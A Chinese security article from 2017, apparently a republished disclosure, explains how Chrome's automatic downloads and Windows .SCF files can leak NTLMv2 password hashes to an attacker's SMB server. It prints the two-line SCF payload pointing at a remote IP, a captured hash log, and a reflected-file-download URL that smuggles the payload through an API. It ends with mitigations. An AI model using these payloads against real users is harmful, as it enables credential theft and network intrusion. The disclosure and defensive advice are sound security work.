利用Chrome浏览器“自动下载”功能窃取Windows登录密码

本文讲的是 利用Chrome浏览器“自动下载”功能窃取Windows登录密码在过去的十几年中,除了IE以及Edge浏览器之外,其余还没有公开针对SMB认证攻击的方法。这篇文章介绍的攻击方法是通过全世界最受欢迎的浏览器Google Chrome中的默认配置进行Windows登录密码盗取。影响范围为Windows所有版本的Google Chrome。

漏洞利用

在默认设置环境中,Chrome会自动下载认为安全的文件,不再询问用户其存放位置。从安全的角度来看,这一功能来看好像不是那么安全,但是任何存在恶意代码的文件都是需要用户手动去打开才能造成威胁。如果有下载的文件能够自动打开呢?有没有一种文件类型能够做到呢?

windows资源管理器命令文件(.SCF)是一种鲜为人知的文件类型,自从Windows 98之后才开始使用。大多数Windows用户可以在Windows 98/ME/NT/2000/XP中看到,它是用于显示桌面的快捷方式的。从本质上来讲,它是一个txt文本文件,其中写入要执行的命令,当然命令只能是运行资源管理器、切换桌面或者打开图标文件所在位置这几个。举个例子,执行显示桌面命令,如下所示:

[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop

就像Windows快捷方式LINK文件一样,当运行资源管理器显示文件时,图标会自动加载。在已知的攻击方法中,我们可以将图标位置设置为远程SMB服务器,然后我们就可以像文件共享一样,自动尝试登录到远程服务器。但是LINK文件以及SCF文件在攻击方法中有什么不同呢?在Chrome中由于MS10-046会将LINK文件的后缀名强制转换为.download,但是对于SCF文件不做任何处理。

通过在SCF文件中两行代码就可以让windows尝试连接到远程SMB服务器,如下所示:

[Shell]
IconFile=\\170.170.170.170\icon

将这个文件下载下来,一旦打开资源管理器去查看文件、删除文件、或者将这个文件与其他文件一同操作,都会触发这个文件。因为Windows资源管理器自动加载图标,所以无需双击运行这个文件就可以自动加载。

攻击者启动的SMB服务器可以捕捉到受害者的账户以及密码NTLMv2的hash,以便于离线破解。即使不知道明文密码也可以使用hash连接到其他同样验证方式的Windows服务,比如 Microsoft Exchange服务。抓取到的数据包如下所示:

[*] SMB Captured - 2017-05-15 13:10:44 +0200
NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182
USER:Bosko DOMAIN:Master OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:98daf39c3a253bbe4a289e7a746d4b24 NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e0000000002000000000000 0000000000
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06f cdd201ccf26d91cd9e326e00000000020000000000000000000000

上方例子展示了抓取到的受害者的用户名,以及NTLMv2密码hash值。

这种攻击还有一种好处就是SCF文件在资源管理器中都是显示无后缀的。因此,命名为picture.jpg.scf文件会在资源管理器中显示为picture.jpg。这就大大增加了攻击成功的可能性。

内容拓展

密码泄漏危害

对于AD域中的用户,密码泄漏会产生各种各样的影响。轻则会使内部网络违规升级,重则导致启用外部NTLM访问,利用密码重用碰撞,导致整个域沦陷。

对于使用微软账户的Winodws8/10个人用户,而不是使用的本地的账户,这一密码泄漏会影响你所有的微软服务,比如:OneDrive、Outlook.com、Office365、Office Online、Skype、Xbox Live等等。和域中相同,泄漏的密码可能产生碰撞,登录到不属于微软服务的网站。

关于密码破解的可行性,在最近几年里基于GPU密码破解大大提高了成功的可能性。单个英伟达GTX 1080显卡破解NetNTLMv2哈希的速度为1600MH/s,也就是每秒16亿条。对于一个八个字符长度的密码,4个这样GPU的显卡可以在不到一天时间内遍历整个键盘内的字符(字母大小写+数字+特殊字符)。在过去几年中,由于很多漏洞导致了数百万条密码泄漏,所以可以尝试基于字典的破解。

对于已经明确启用了与NTLMv1向后兼容的Windows XP系统情况更加糟糕。在这种情况下,会强制客户端使用较弱的hash或者协议(比如NTLMv1甚至LM协议),进行降级攻击。相对于破解NTLMv2,这就会使攻击者花费很少的时间对密码进行破解。在LM情况下,通常在几秒内查询彩虹表就可以破解出密码。

SMB中继攻击

SMB中继攻击是指在无需破解密码的情况下,可以将NTLM作为登录凭证远程访问Microsoft Exchange等服务。这就会允许攻击者进入到受害者系统,查看数据。在黑帽大会上Jonathan Brossard证明了这一攻击方法。

在域控制器暴露在外网的情况下,攻击者甚至可以使用盗取的凭据中继登录到域控制器中,进而进行内网漫游。

SCF防病毒处理

在浏览器无法识别以及判别出文件是危险文件时,我们就需要一个解决方案去解决这一安全问题。我们对市场上多个杀毒软件进行了测试,确定杀毒软件是否可以识别出当前下载的文件是危险文件。

对所有的杀毒软件进行的测试都没有对这个文件报毒,希望杀毒软件能够尽快更新。考虑到SCF文件需要远程调用,所以只需要通过localfile检查这一SCF文件即可。

另外一种攻击方法

可以从通过社会工程学诱导受害者访问攻击者网站,当然也可以在受害者访问的网站中使用重定向和跨站脚本漏洞进行文件下载。不过对于这种攻击,我想使用一个比较简单以及比较隐蔽的攻击方法。

反射型文件下载

攻击概念(可参考这篇文章)由Oren Hafif提出,当特定用户输入会体现在网站的响应中,并且会通过浏览器进行下载时,这时候会产生反射型文件下载漏洞。它一开始被用于诱导用户下载,并且执行恶意代码。

由于SCF格式特别简单,上述代码一样,我们只需两行就可以完成攻击。因此这种攻击完全适合于反射型文件下载漏洞。

反射型文件下载往往发生在RESTful API接口处,因为他们通常允许URL映射,以及在URL中设置文件拓展名。不过Chrome不会下载很明显的API响应内容,比如href=…这样的就不会下载。但是还是有例外的,chrome使用的是MIME-sniffing类型,如果在响应中存在一个不可打印字符,chrome会自动下载这个文件。除非nosniff选项是开启的。

在world bank的api中演示的url如下:

http://api.worldbank.org/v2/country/indicator/iwantyourhash.scf?prefix=%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp

由于不可打印字符”%0B”,chrome会自动下载这个url响应作为iwantyouhash.scf文件。当打开包含这一文件的文件夹时,windows会尝试连接SMB服务器进行身份验证,导致hash泄漏。

建议

禁用Chrome浏览器的自动下载功能。进行如下更改:设置 – >显示高级设置 – >在下载前检查询问要保存每个文件的位置。这样下载每个文件都会经过用户询问。

因为SCF文件不能被查杀,仍然可以被攻击,所以需要采取一定的措施避免受到攻击,比如设置防火墙规则,主机防护级别设置为高,采取SMB数据包保护。

结论

目前,攻击者只能够通过诱导受害者对url进行点击,然后下载SCF文件,以便盗取Windows hash。即使当前用户不是管理员权限,还是会造成很大的危害,因为攻击者可以进入到目标网络中,进而提升权限,进一步获取对网络的控制。




原文发布时间为:2017年5月18日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

你可能感兴趣的:(操作系统,shell)